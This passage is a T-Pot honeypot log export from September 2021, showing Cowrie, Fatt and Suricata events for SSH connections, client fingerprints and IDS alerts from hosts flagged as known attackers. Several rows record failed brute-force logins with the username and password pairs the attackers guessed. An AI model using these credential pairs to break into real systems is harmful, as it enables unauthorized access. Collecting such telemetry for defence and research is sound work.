28231	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:16:59.657143+03	2021-09-20 14:30:02.558553+03	{"_id": "tQbsAnwBvYTbRNuEZy20", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:34714 (192.168.176.2:22) [session: 96d9b354e2af]", "session": "96d9b354e2af", "@version": "1", "protocol": "ssh", "src_port": 34714, "dest_port": 22, "timestamp": "2021-09-20T11:16:59.657143Z", "@timestamp": "2021-09-20T11:16:59.657Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28232	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:16:59.710518+03	2021-09-20 14:30:02.559556+03	{"_id": "twbsAnwBvYTbRNuEZy20", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/213sugi213] failed", "session": "b2e94fb53a46", "@version": "1", "password": "213sugi213", "username": "root", "timestamp": "2021-09-20T11:16:59.710518Z", "@timestamp": "2021-09-20T11:16:59.710Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28233	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:17:00.25385+03	2021-09-20 14:30:02.560554+03	{"_id": "ugbsAnwBvYTbRNuEai3E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34714, "dest_port": 22, "timestamp": "2021-09-20T11:17:00.253850", "@timestamp": "2021-09-20T11:17:00.253Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28234	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:00.565587+03	2021-09-20 14:30:02.562569+03	{"_id": "vwbsAnwBvYTbRNuEay2c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "91d871c49be4", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:17:00.565587Z", "@timestamp": "2021-09-20T11:17:00.565Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28235	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:00.254626+03	2021-09-20 14:30:02.56355+03	{"_id": "vgbsAnwBvYTbRNuEay2c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "96d9b354e2af", "@version": "1", "timestamp": "2021-09-20T11:17:00.254626Z", "@timestamp": "2021-09-20T11:17:00.254Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28236	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:00.086062+03	2021-09-20 14:30:02.564554+03	{"_id": "wwbsAnwBvYTbRNuEay2c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "96d9b354e2af", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:17:00.086062Z", "@timestamp": "2021-09-20T11:17:00.086Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28237	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:17:00.840482+03	2021-09-20 14:30:02.566523+03	{"_id": "xAbsAnwBvYTbRNuEbS1n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 710720143253518, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55814, "dest_port": 22, "timestamp": "2021-09-20T11:17:00.840482Z", "@timestamp": "2021-09-20T11:17:00.840Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28238	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:00.567709+03	2021-09-20 14:30:02.567523+03	{"_id": "xQbsAnwBvYTbRNuEbi2t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55814, "timestamp": "2021-09-20T11:17:00.567709", "@timestamp": "2021-09-20T11:17:00.567Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28239	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:00.865341+03	2021-09-20 14:30:02.569523+03	{"_id": "yAbsAnwBvYTbRNuEby2G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "91d871c49be4", "@version": "1", "timestamp": "2021-09-20T11:17:00.865341Z", "@timestamp": "2021-09-20T11:17:00.865Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28240	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:17:01.916507+03	2021-09-20 14:30:02.570524+03	{"_id": "ygbsAnwBvYTbRNuEcS1Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:17:01.916507Z", "@timestamp": "2021-09-20T11:17:01.916Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
28241	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:01.892607+03	2021-09-20 14:30:02.571524+03	{"_id": "ywbsAnwBvYTbRNuEcy1v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [nsroot/nsroot] failed", "session": "96d9b354e2af", "@version": "1", "password": "nsroot", "username": "nsroot", "timestamp": "2021-09-20T11:17:01.892607Z", "@timestamp": "2021-09-20T11:17:01.892Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28242	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:53.45995+03	2021-09-20 14:30:02.573523+03	{"_id": "nAbsAnwBvYTbRNuEUC0_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/123123] failed", "session": "0b88cf4c46da", "@version": "1", "password": "123123", "username": "admin", "timestamp": "2021-09-20T11:16:53.459950Z", "@timestamp": "2021-09-20T11:16:53.459Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28243	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:16:54.144222+03	2021-09-20 14:30:02.574524+03	{"_id": "nQbsAnwBvYTbRNuEUi0L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:16:54.144222+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "116.105.211.46", "flow_id": 892294180254558, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 36500, "timestamp": "2021-09-20T11:16:54.144222Z", "@timestamp": "2021-09-20T11:16:54.144Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
28244	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:54.129594+03	2021-09-20 14:30:02.575525+03	{"_id": "ngbsAnwBvYTbRNuEVC0p", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [miner/7GF] failed", "session": "77dbec76bcf1", "@version": "1", "password": "7GF", "username": "miner", "timestamp": "2021-09-20T11:16:54.129594Z", "@timestamp": "2021-09-20T11:16:54.129Z", "t-pot_ip_ext": "109.199.241.180", 